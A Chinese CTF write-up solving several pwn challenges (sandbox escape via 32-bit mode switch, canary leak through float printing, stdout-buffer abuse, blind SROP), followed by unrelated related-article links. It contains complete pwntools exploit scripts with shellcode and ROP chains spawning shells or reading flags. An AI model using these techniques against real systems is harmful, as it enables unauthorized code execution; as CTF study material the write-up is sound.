    io.sendlineafter('change player info: \n', '3')
    io.sendlineafter('index:\n', str(index))
    io.sendafter('name :\n', name)
    
add(1, 'AAAA', 'B' * 0x10)

show(1)
io.recvuntil('B' * 0x10)

base = u64(io.recv(6).ljust(8, b'\0')) - 0x2190
success('base =>> ' + hex(base))

add(0, 'CCCC', 'B' * 8)

sys = base + 0x16FA

edit(1, b'A' * 0x10 + p64(sys))

show(1)

io.interactive()

☘️hard_orw(orw)

🌿分析

在这里插入图片描述
checksec分析
在这里插入图片描述
IDA分析。经典shellcode,开了个沙箱。读4字节
在这里插入图片描述
其实读2字节就够了,rdx已经是一个大值了,直接\x0f\x05继续调用read就可以输入长字节的shellcode
在这里插入图片描述
禁的东西挺多,没有检查是否是64位,直接转32位,这些限制就全没有了

🌿解题

在这里插入图片描述
转32位的汇编,直接套板子,没咋看,因为一般不会给机会转32位
在这里插入图片描述
在32位下,进行orw,这里不能直接execve是因为execve(‘/bin/sh’, 0, 0)会创建一个新进程,这个新进程是64位,会调用openat,64位中openat被禁,就会失败
在这里插入图片描述
输入进去就好了

🌿exp

from pwn import *

filename = './sandbox'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 31223)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

shellcode_64 = '''
    mov rdi, 0x10000
    mov rsi, 0x1000
    mov rdx, 7
    mov r10, 0x21
    mov r8, 0xFFFFFFFF
    xor r9, r9
    push SYS_mmap
    pop rax
    syscall
    
    cld
    mov rcx, 0x200
    mov rdi, 0x10000
    mov rsi, 0x405102
    rep movsb
    
    mov rsp, 0x10800
    push 0x23
    push 0x10000
    pop rax
    push rax
    retfq
'''

shellcode_32 = '''
	mov eax, 0x6761
	push eax
	mov eax, 0x6C662F2E
	push eax
	mov ebx, esp
	xor ecx, ecx
	xor edx, edx
	mov eax, 5
	int 0x80
	mov ebx, 3
	mov ecx, 0x10500
	mov edx, 0x100
	mov eax, 3
	int 0x80
	mov ebx, 1
	mov ecx, 0x10500
	mov edx, 0x100
	mov eax, 4
	int 0x80
'''

io.send('AAAA')
io.send('BBBB')
io.send(b'\x0f\x05')

io.send(b'\x00\x00' + (asm(shellcode_64).ljust(0x100, b'\0') + asm(shellcode_32, arch='i386', bits=32)).ljust(0x200, b'\0'))

io.interactive()

☘️学校的烂电梯pro(栈溢出)

这题有些意外,挺简单的,没什么人做,可能是不太喜欢吧

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
往data里写数据,后面没有用到data,看下汇编
在这里插入图片描述
将栈减少了data的值
在这里插入图片描述
存在溢出,有canary,显然是要获取canary的值,唯一的输出就是number is %lf\n,显然要控制v1,需要控制ask_phone
在这里插入图片描述
这个函数从拿了一个栈的地址,往这个栈地址中写一个浮点数,后面出去就会以浮点数的形式打印这里的值

前面可以控制栈的高低,那就可以把栈移动到rbp - 0x38这个v1的位置刚好是canary的位置,随后输入个’\x00’,scanf就不会接收,然后就不会修改这里的canary值,就可以把canary以浮点数的形式打印出来,随后基本rop即可

🌿解题

在这里插入图片描述
我这里输入28,也就是移动了28个字长,需要主要的是这个数字必须是偶数,如果是奇数会导致后面调用scanf的时候栈不平衡出错

后面输入’\x00’导致scanf失败,没有改变canary值,再泄露
在这里插入图片描述
可以看到这里将canary的地址拿进去了
在这里插入图片描述
scanf修改失败
在这里插入图片描述
打印,这里不用管他的参数,我被他这参数骗了好久,实际上就是打印刚刚的canary值,不知道为什么他这里变成这个了
在这里插入图片描述
可以看到打印了一大串数字出来,这串数字就是canary的浮点表示形式。有的时候canary会没有浮点表示形式,需要多试几次
在这里插入图片描述
将浮点数转换为int类型
在这里插入图片描述
基本rop,先libc再sys

🌿exp

from pwn import *
import struct

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 21044)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)
    
libc = ELF('./libc.so.6')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x4014c3
read = 0x401292
ret = 0x40101a

io.sendline(str(28))
io.sendline(b'\x00')

io.recvuntil('you call the number is ')

data = io.recvuntil('\n', drop = True)
num = float(data)

canary = int(hex(struct.unpack('>Q', struct.pack('>d', num))[0]), 16)
success('canary =>> ' + hex(canary))

io.recv()

io.send(b'A' * 0x28 + p64(canary) + b'A' * 8 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read))

libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search(b'/bin/sh').__next__()

io.sendline(str(1))

io.send(b'A' * 0x28 + p64(canary) + b'A' * 8 + p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))

io.interactive()

☘️stdout(栈溢出,缓冲机制)

🌿分析

在这里插入图片描述
checksec查看
在这里插入图片描述
IDA查看
在这里插入图片描述
输出缓冲区设定是满0x1000才会输出,这就是题目说的“异常”
在这里插入图片描述
puts可以泄露栈上的一些地址
在这里插入图片描述
栈溢出,基本rop

🌿解题

在这里插入图片描述
先利用开始的一次gift泄露栈地址
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由于不知道base地址,只能将返回地址覆盖一字节,改回main函数开始,一直输出,存进缓冲区,存满0x1000就能输出了
在这里插入图片描述
将开始的stack接收
在这里插入图片描述
在这里插入图片描述
控制rbp为自己想要跳转的地方(后来发现好像作用不大,不用走到pop,也不知道当时为啥要整这个地址),并且改返回地址为write
在这里插入图片描述
read刚结束,write能泄露栈上一大片地址,其中就有base地址
在这里插入图片描述
可以看到会将base地址泄露
在这里插入图片描述
接收一波
在这里插入图片描述
由于read的输入位置不够,前面三个send是为了叠出个write来
在这里插入图片描述
如图栈的第4行就是叠出来的write,叠的过程:
在这里插入图片描述
先在这里写入了一个write
在这里插入图片描述
他这里往下走了一行,我没注意发生了啥事
在这里插入图片描述
由于pop的原因,每次循环都会将栈降低8字节,直到有一次,能够溢出3行,并且第4行是write
在这里插入图片描述
输出got表,就拿到了libc
在这里插入图片描述

随后基本rop就可以,这里又降低了一下栈,因为sys要栈对齐

🌿exp

from pwn import *

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 33582)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

io.send(b'A' * 0x50)

for i in range(102):
    io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + b'\x29')

io.recvuntil(b'A' * 0x50)
stack = u64(io.recv(6).ljust(8, b'\0')) - 0x448 + 0x50
success('stack =>> ' + hex(stack))

io.send(b'A' * 0x40 + p64(stack) + b'\x78')

io.recvuntil('A' * 0x40)
io.recv(8)
base = u64(io.recv(6).ljust(8, b'\0')) - 0x1382
success('base =>> ' + hex(base))
rdi = base + 0x1403
rsi_r15 = base + 0x1401
write = base + 0x1378
ret = base + 0x101a
puts_got = base + elf.got['puts']

io.send(b'A' * 0x40 + p64(write) + b'\x29')
io.sendafter('???,out??\n', b'A' * 0x40 + p64(write) + b'\x29')
io.sendafter('???,out??\n', b'A' * 0x40 + p64(write) + b'\x29')

io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + p64(rsi_r15) + p64(puts_got) + p64(0))

libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x84420
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()

io.send(b'A' * 0x40 + p64(sys) + b'\x29')

io.sendafter('???,out??\n', b'A' * 0x40 + b'A' * 0x8 + p64(rdi) + p64(bin_sh) + p64(sys))

io.interactive()

☘️ez_srop(SBROP)

《最颠沛流离的第二集》《你们不许拿附件做!》《SBROP》

🌿分析

本文的压轴题来了,也算是这次新生赛难度最高的一题。如果后面不给附件估计就我一个解

这题开始没给附件,第5天才给了,不知道是运维的锅还是出题人的锅。我一开始就觉得是有附件没上,但4小时做完其他week4的题后没题做了,就来做做这个题,没想到还真能成功

自创了一种攻击手法:SBROP(SROP + BROP),ROP如其名

没附件,没分析

🌿解题

在这里插入图片描述
先写个脚本交互
在这里插入图片描述

输入两下后结束,猜测有两个read。一般的BROP是一个输入就比较好爆破返回地址,两个的话,不确定哪个read有溢出

结合本题SROP,想了一会,应该是第一个read输入SROP,第二个read输入15个字节,然后调用第一个SROP

猜测第一次和第二次输入的地址应该是一样的,都是往一个buf里输入

先测试一下第一个read的rdx有多大,正好有第二次输入,当第一次输入到最大值溢出后,就会放进第二次输入,这样就可以测rdx多大
在这里插入图片描述
当输入0x400大小数据的时候,还没有事,可以进行第二次输入。输入0x401大小数据的时候,溢出了一字节,直接就进行了第二次输入,程序直接结束了,因此可以得知第一次执行了read(0, buf, 0x400)

第二次read的rdx暂时没法测,默认和上面一样是read(0, buf, 0x400)

有了范围心里就有了点底,0x400是一个很经典的SROP数,基本可以确定是第一次SROP,第二次输15个字节调用

之后需要知道需要多少字节溢出,这样才能安放好SROP。要知道多少字节溢出,就要先知道返回到哪里程序可以继续执行,这样才有回显,才知道ret成功了

有几个地方考虑:main函数开始,第一次read,第二次read,返回到这些地方程序都可以正常执行,等待输入,就有回显。我考虑跳到第一次read

但是程序地址不知道,怎么办呢?这需要一定的编题经验。像SROP类的题,有的用纯汇编出题,那么程序开始就可能是0x400000,也有可能是0x401000,前面没start那些东西,所以直接从text段的页表开始就执行主程序。有的用内联汇编出题,这种一般会往后延一点,从0x4011XX左右开始执行,前面执行start。还有可能用syscall函数出题,read就是syscall(0, 0, buf, 0x400)。还有可能是用read函数出题的标准C程序。

我这里考虑连续调用了两个read,再加上SROP需要syscall,应该是利用syscall函数出的题
在这里插入图片描述
所以我编了一下程序,我这里猜buf就直接是ret的地址,即写即ret,不过后来发现是错了,问题不大。当然我这里没有定义好,retaddr这个参数其实离rbp还有0x10字节距离,我不懂怎么C语言直接ret,懒得学
在这里插入图片描述
编成二进制程序
在这里插入图片描述
IDA里看,长这个样
在这里插入图片描述
汇编中,可以看到,如果没开pie的话,main函数开始的地址会是0x401169

这里题目如果要打BROP,那么canary和pie都不能开

所以我从0x401100开始爆破,实际上我也尝试了从0x401000和0x400000开始爆破,无果
在这里插入图片描述

当程序ret的时候,必定会ret到指定的ret_addr,如果此时刚好在read前,就会停下等待输入
在这里插入图片描述
此时输入一次,看到是异常退出了
在这里插入图片描述
接下来参数拉大开始爆破
在这里插入图片描述
在这里插入图片描述
看到在这两个地方停下了,等待输入。我猜应该这就分别是两个read,前面小的地址应该是才开始第一次read
在这里插入图片描述
接下来试一下是不是还能再输入两次
在这里插入图片描述
发现只能输入一次,这是怎么会事呢?后来我又反复测了挺久,发现不管怎样就是只能输一次,似乎不能回到第一次read的时候了

后来想到,可能第二次输入的rdx不是0x400,毕竟只能确定第一次,第二次一直不知道。如果第二次rdx是0x3ff,那么输入0x400就会溢出一个字节,这个字节在下一次来到第一次read的时候输入了进去,之后来到了第二次read,所以只能输入一次。

于是第二次只输入一字节
在这里插入图片描述
在这里插入图片描述
再次测试,发现能输入两下了,果然是第二次rdx和第一次不同,并且可以通过这一点,测出第二次read的rdx,测得为0x30,这个不是很重要

有了可以回显的返回地址,就可以测需要多少字节溢出
在这里插入图片描述
8个字节8个字节地增加就好,增加到0x28后发现有回显,其他地方都没回显,显然是溢出0x28后就到了ret
在这里插入图片描述
发现只能交互一次,可能是rbp出错了
在这里插入图片描述
这样就没问题了。当然,等会调用SROP的时候是不需要管rbp的,这里只是read需要

SROP干什么呢?第一件事是泄露程序逻辑,需要知道程序在0x401200到0x401300这段期间干了什么,知道程序干了什么,就和有附件一样了

利用write(1, 0x401200, 0x100)就可以完成
在这里插入图片描述
这样就可以完成调用,前提是知道syscall的地址,那么还需要爆破

我一直猜他是通过syscall调用的read,后来发现是直接调用read函数,syscall是另外留在程序里的,问题不大,依然是从0x401200开始爆破
在这里插入图片描述
write函数不好回显,这里用read,如果跳到了syscall,那么就可以调用成功read
在这里插入图片描述
发现到了0x4012c9的位置停下,这里可能就是syscall
在这里插入图片描述
换成write
在这里插入图片描述
发现的确是syscall,write成功。接下来程序已经相当于有了附件,不需要爆破了

机器码不好看,转换为汇编看,来到https://shell-storm.org/online/Online-Assembler-and-Disassembler/

在这里插入图片描述
把刚刚得到这一串扔进来
在这里插入图片描述
在这里插入图片描述
可以看到刚刚的c9位置是mov rbp, rsp,下面调用了syscall,所以其实刚刚的syscall还不是很标准的位置。为什么在c8的时候不行呢,因为push rbp后,下面就是ret,也就是说通过rbp控制这里的ret,刚刚rbp是8个A,所以不行

下面的f2位置,开始调用read,我这里只泄露0x100看不了后面了,实际上我当时泄露了0x200看了一眼后面,和预期差不多,没想到的是作者采用了read函数调用read

接下来我是想通过mprotect函数来提权写shellcode的,但是发现一直调用失败,猜想是不是只能orw,后来发现真的是,我一开始以为那个1f位置的是在setvbuf,但是后来泄露了一下0x401100位置的值,才发现早就setvbuf完了,才明白这里是沙箱,控制只能执行orw + sigreturn这4个系统调用

那orw的话就需要连续执行SROP,需要靠bss段
在这里插入图片描述
运用SROP往bss上写数据,把read的地址写上去,要不然等会orw不好read

先调用SROP的read写完后,rsp为0x404520,ret会pop rip,也就会从0x404520这里拿数据,拿到了read,就会去执行,read(0, rbp - 0x20, 0x400),这里rbp - 0x20也就是0x404600,往这里面写入下一次需要的SROP

在这里插入图片描述
往0x404600写入数据,等会rsp会移动到rbp的位置,也就是0x404620,也就是send中的syscall的位置,由于下面的第二次read读入了15个字节,会继续SROP,同时,写入./flag字符串在0x404600,就可以执行open(‘./flag’, 0)

随后,执行完SROP,rsp为0x404528,继续拿之前存的read的返回地址,继续往0x404700这个rbp - 0x20的位置输入数据
在这里插入图片描述
read(3, 0x404100, 0x100),原理同上
在这里插入图片描述
write(1, 0x404100, 0x100),这时候就不需要控制rsp和rbp了,因为不需要read等操作了

🌿exp

from pwn import *

context(arch = 'amd64', log_level = 'debug', os = 'linux')

io = remote('nc1.ctfplus.cn', 45094)

syscall = 0x4012cc
read = 0x4012f2

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x404500
frame.rdx = 0x100
frame.rsp = 0x404520
frame.rbp = 0x404620
frame.rip = syscall

io.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)
sleep(0.1)

io.send(b'A' * 0x20 + p64(read) + p64(read) + p64(read))
sleep(0.1)

frame = SigreturnFrame()
frame.rax = 2
frame.rdi = 0x404600
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0x404528
frame.rbp = 0x404720
frame.rip = syscall

io.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'./flag\x00\x00' + b'A' * 7)

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 3
frame.rsi = 0x404100
frame.rdx = 0x100
frame.rsp = 0x404530
frame.rbp = 0x404620
frame.rip = syscall

io.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)

frame = SigreturnFrame()
frame.rax = 1
frame.rdi = 1
frame.rsi = 0x404100
frame.rdx = 0x100
frame.rip = syscall

io.send(b'A' * 0x20 + p64(0) + p64(syscall) + bytes(frame))
sleep(0.1)
io.send(b'A' * 15)

io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2245260.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

springboot源码02-springboot启动主要步骤总结

文章目录 【README】【1】springboot应用启动主要步骤【1.1】springboot应用启动主要步骤总结 【2】springboot应用启动先后发布事件【2.1】springboot启动先后发布事件代码实践【2.1.1】自定义监听器【2.1.2】自定义SpringApplicationRunListener【2.1.3】springboot运行日志 …

数据结构——小小二叉树第二幕(二叉树链式结构的实现以及二叉树的遍历)超详细!!!

文章目录 前言一、实现链式结构二叉树1.1 前中后序遍历1.1.1 遍历规则 1.2 二叉树的结点个数以及高度等 总结 前言 上一篇我们初步认识了树的结构以及概念,同时也学习到了二叉树的顺序结构(堆)的实现,以及堆的初步应用。 时隔几日…

服务器端渲染 (SSR) 与客户端渲染 (CSR)

嘿程序员!我们都知道,新时代的 Javascript 已经彻底改变了现代网站的结构和用户体验。如今,网站的构建更像是一个应用程序,伪装成一个能够发送电子邮件、通知、聊天、购物、支付等的网站。今天的网站是如此先进、互动,…

【spring】spring单例模式与锁对象作用域的分析

前言:spring默认是单例模式,这句话大家应该都不陌生;因为绝大多数都是使用单例模式,避免了某些问题,可能导致对某些场景缺乏思考。本文通过结合lock锁将单例模式、静态变量、锁对象等知识点串联起来。 文章目录 synchr…

解析与修复vcruntime140_1.dll问题,总结四种vcruntime140_1.dll解决方法

在使用Windows系统的过程中,不少用户可能会遇到与vcruntime140_1.dll相关的问题。这个看似神秘的文件,其实在很多软件的运行中扮演着至关重要的角色。今天的这篇文章将教大家四种vcruntime140_1.dll解决方法。 一、vcruntime140_1.dll文件分析 &#xf…

django基于django的民族服饰数据分析系统的设计与实现

摘 要 随着网络科技的发展,利用大数据分析对民族服饰进行管理已势在必行;该平台将帮助企业更好地理解服饰市场的趋势,优化服装款式,提高服装的质量。 本文讲述了基于python语言开发,后台数据库选择MySQL进行数据的存储…

如何使用GPT API 自定义 自己的 RAG

要使用 GPT 的 API 实现自己的 RAG(Retrieval-Augmented Generation) 系统,可以结合检索工具和 GPT 模型,将外部知识库中的信息与生成模型结合起来,完成准确、高效的任务。以下是具体步骤和实现方法: 系统架…

对subprocess启动的子进程使用VSCode python debugger

文章目录 1 情况概要(和文件结构)2 具体设置和启动步骤2.1 具体配置Step 1 针对attach debugger到子进程Step 2 针对子进程的暂停(可选) Step 3 判断哪个进程id是需要的子进程 2.2 启动步骤和过程 3 其他问题解决3.13.2 ptrace: Operation not permitted…

cocos creator 3.8 一些简单的操作技巧,材质的创建 1

这是一个飞机的3D模型与贴图 导入到cocos中,法线模型文件中已经包含了mesh、material、prefab,也就是模型、材质与预制。界面上创建一个空节点Plane,将模型直接拖入到Plane下。新建材质如图下 Effect属性选择builtin-unlit,不需…

基于web的音乐网站(Java+SpringBoot+Mysql)

目录 1系统概述 1.1 研究背景 1.2研究目的 1.3系统设计思想 2相关技术 2.1 MYSQL数据库 2.2 B/S结构 2.3 Spring Boot框架简介 3系统分析 3.1可行性分析 3.1.1技术可行性 3.1.2经济可行性 3.1.3操作可行性 3.2系统性能分析 3.2.1 系统安全性 3.2.2 数据完整性 …

Web中间件漏洞总结——IIS篇

0x01 前言 渗透过程中会遇到各种中间件,某些中间件版本存在远程执行、任意文件上传等漏洞。本文对IIS相关漏洞进行整理,方便我们在渗透过程中快速查阅IIS漏洞。文章粗略浅显,适合刚入行的新手观看。 0x02 目录 IIS6.0 PUT漏洞IIS6.0 远程代…

关于中断向量表中没有EXTIx_IRQHandler的问题

如果你在中断向量表查找中断向量服务函数时,没有查找到EXTI7_IRQHandler等,是因为中断向量中根本就没有这个函数。 STM32 的中断向量表通常由启动文件(如 startup_stm32f1xx.s)定义。在该文件中,所有的中断服务例程&a…

idea启动服务报错Application run failed

现象是这样,在宝兰德部署报错: NoClassDefFoundError: org/apache/tomcat/util/codec/binary/Base64 本地启动报错:Application run failed:Failed to parse configuration class [***.WebApplication]; nested exception is java.lang.Illeg…

Easyexcel(4-模板文件)

相关文章链接 Easyexcel(1-注解使用)Easyexcel(2-文件读取)Easyexcel(3-文件导出)Easyexcel(4-模板文件) 文件导出 获取 resources 目录下的文件,使用 withTemplate 获…

神经网络问题之:梯度不稳定

梯度不稳定是深度学习中,特别是在训练深度神经网络时常见的一个问题,其本质涉及多个方面。 一、根本原因 梯度不稳定问题的根本原因在于深度神经网络的结构和训练过程中的一些固有特性。随着网络层数的增加,梯度在反向传播过程中会逐层累积变…

动态规划子数组系列一>等差数列划分

题目&#xff1a; 解析&#xff1a; 代码&#xff1a; public int numberOfArithmeticSlices(int[] nums) {int n nums.length;int[] dp new int[n];int ret 0;for(int i 2; i < n; i){dp[i] nums[i] - nums[i-1] nums[i-1] - nums[i-2] ? dp[i-1]1 : 0;ret dp[i…

RedHat系统配置静态IP

1、执行nmtui命令进入字符配置界面如下图所示 2、选择编辑连接进入 3、选择编辑进入后&#xff0c;将IPv4设置为手动模式后&#xff0c;选择显示后进行ip地址、网关、DNS的配置&#xff0c;配置完成后选择确定退出编辑 4、进入主界面后选择启用连接进入后&#xff0c;选择启用&…

batchnorm与layernorn的区别

1 原理 简单总结&#xff1a; batchnorn 和layernorm是在不同维度上对特征进行归一化处理。 batchnorm在batch这一维度上&#xff0c; 对一个batch内部所有样本&#xff0c; 在同一个特征通道上进行归一化。 举个例子&#xff0c; 假设输入的特征图尺寸为16x224x224x256&…

【Redis】持久化机制RDB与AOF

一、RDB RDB模式是就是将内存中的数据存储到磁盘中&#xff0c;等到连接断开的时候会进行持久化操作。但是如果服务器宕机&#xff0c;会导致这个持久化机制不会执行&#xff0c;但是内存中的文件会直接丢失。所以可以设置一个触发机制&#xff0c;save 60 1000 就是代表60秒 执…

JSON,事件绑定

文章目录 JSON事件绑定输入框input和div的内容返回获取dom元素数组还是单个对象for循环为什么要写const那一行&#xff0c;直接写 hobbys[index].checked true;可以吗const不是常量吗&#xff0c;为什么用const声明的element的属性值可以改变&#xff1f; 黑马学习笔记 JSON 定…